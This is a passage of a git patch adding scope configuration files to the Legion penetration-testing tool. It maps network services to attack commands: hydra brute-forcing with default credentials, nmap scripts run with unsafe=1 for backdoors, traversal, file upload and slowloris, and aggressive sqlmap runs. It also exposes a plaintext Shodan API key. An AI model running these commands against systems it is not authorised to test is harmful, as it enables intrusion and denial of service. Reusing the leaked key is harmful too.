"http,https,ssl,https-alt" +wpscan=Run wpscan, wpscan --url [IP], "http,https,ssl,https-alt" + +[PortTerminalActions] +firefox=Open with firefox, firefox [IP]:[PORT], +ftp=Open with ftp client, ftp [IP] [PORT], [term] ftp +mssql=Open with mssql client (as sa), [term] python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" +mysql=Open with mysql client (as root), "[term] mysql -u root -h [IP] --port=[PORT] -p", mysql +netcat=Open with netcat, [term] nc -v [IP] [PORT], +psql=Open with postgres client (as postgres), [term] psql -h [IP] -p [PORT] -U postgres, postgres +rdesktop=Open with rdesktop, [term] rdesktop [IP]:[PORT], ms-wbt-server +rlogin=Open with rlogin, [term] rlogin -i root -p [PORT] [IP], login +rpcclient=Open with rpcclient (NULL session), [term] rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" +rsh=Open with rsh, rsh -l root [IP], [term] shell +ssh=Open with ssh client (as root), [term] ssh root@[IP] -p [PORT], ssh +telnet=Open with telnet, [term] telnet [IP] [PORT], +vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc +xephyr=Open with Xephyr, [term] Xephyr -query [IP] :1, xdmcp +xterm=Open terminal, [term] bash, + +[SchedulerSettings] +screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp + +[StagedNmapSettings] +stage1-ports="T:23,25,587,80,8080,443,8443,8081,9443,3389,1099,4786,3306,5432,1521" +stage2-ports="T:135,137,139,445,1433,88" +stage3-ports="Vulners,CVE" +stage4-ports="T:80" +Stage5-ports="T:80" + +[ToolSettings] +cutycapt-path=/usr/bin/cutycapt +hydra-path=/usr/bin/hydra +nmap-path=/sbin/nmap +pyshodan-api-key=SNYEkE0gdwNu9BRURVDjWPXePCquXqht +texteditor-path=/usr/bin/leafpad From eec3f49c38f33082891d145b4b66671aec0c21a7 Mon Sep 17 00:00:00 2001 From: Tdeforge <75676514+Tdeforge@users.noreply.github.com> Date: Thu, 26 May 2022 10:22:27 -0500 Subject: [PATCH 424/450] adding medium scope conf & setting pyshodan API key field --- custom_configs/large_scope_custom_ports.conf | 323 +++++++++++++++++ custom_configs/medium_scope_custom_ports.conf | 325 +++++++++++++++++ custom_configs/small_scope_all_ports.conf | 329 ++++++++++++++++++ legion.conf | 2 +- 4 files changed, 978 insertions(+), 1 deletion(-) create mode 100644 custom_configs/large_scope_custom_ports.conf create mode 100644 custom_configs/medium_scope_custom_ports.conf create mode 100644 custom_configs/small_scope_all_ports.conf diff --git a/custom_configs/large_scope_custom_ports.conf b/custom_configs/large_scope_custom_ports.conf new file mode 100644 index 00000000..693b5de4 --- /dev/null +++ b/custom_configs/large_scope_custom_ports.conf @@ -0,0 +1,323 @@ +[BruteSettings] +default-password=password +default-username=root +no-password-services="oracle-sid,rsh,smtp-enum" +no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" +password-wordlist-path=/usr/share/wordlists/ +services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,https-get-form,http-post-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" +store-cleartext-passwords-on-exit=True +username-wordlist-path=/usr/share/wordlists/ + +[GUISettings] +process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,483,100" +process-tab-detail=false + +[GeneralSettings] +default-terminal=xterm +enable-scheduler=True +enable-scheduler-on-import=False +max-fast-processes=5 +max-slow-processes=5 +screenshooter-timeout=15000 +tool-output-black-background=False +web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" + +[HostActions] +icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] +nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" +nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" +nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" +nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan +python-script-macvendors=Run macvendors python script, /bin/echo PythonScript macvendors +unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v + +[PortActions] +banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", +broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql +citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix +citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix +citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix +cloudfail=Run cloudfail, python3.7 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail +dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt,https-alt" +dnsmap=Run dnsmap, dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap +enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" +finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger +ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp +ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp +ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp +ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp +ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp +ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp +http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-sqlmap=mysql-sqlmap, "sqlmap -v 2 --url=http://[IP] --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST -s [OUTPUT] --flush-session -t [OUTPUT] --fresh-queries > [OUTPUT]", mysql +http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-wapiti=http-wapiti, wapiti http://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], http +http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +https-wapiti=https-wapiti, wapiti https://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], https +imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap +imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap +irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc +irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc +irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc +irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc +irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc +ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap +membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql +ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] 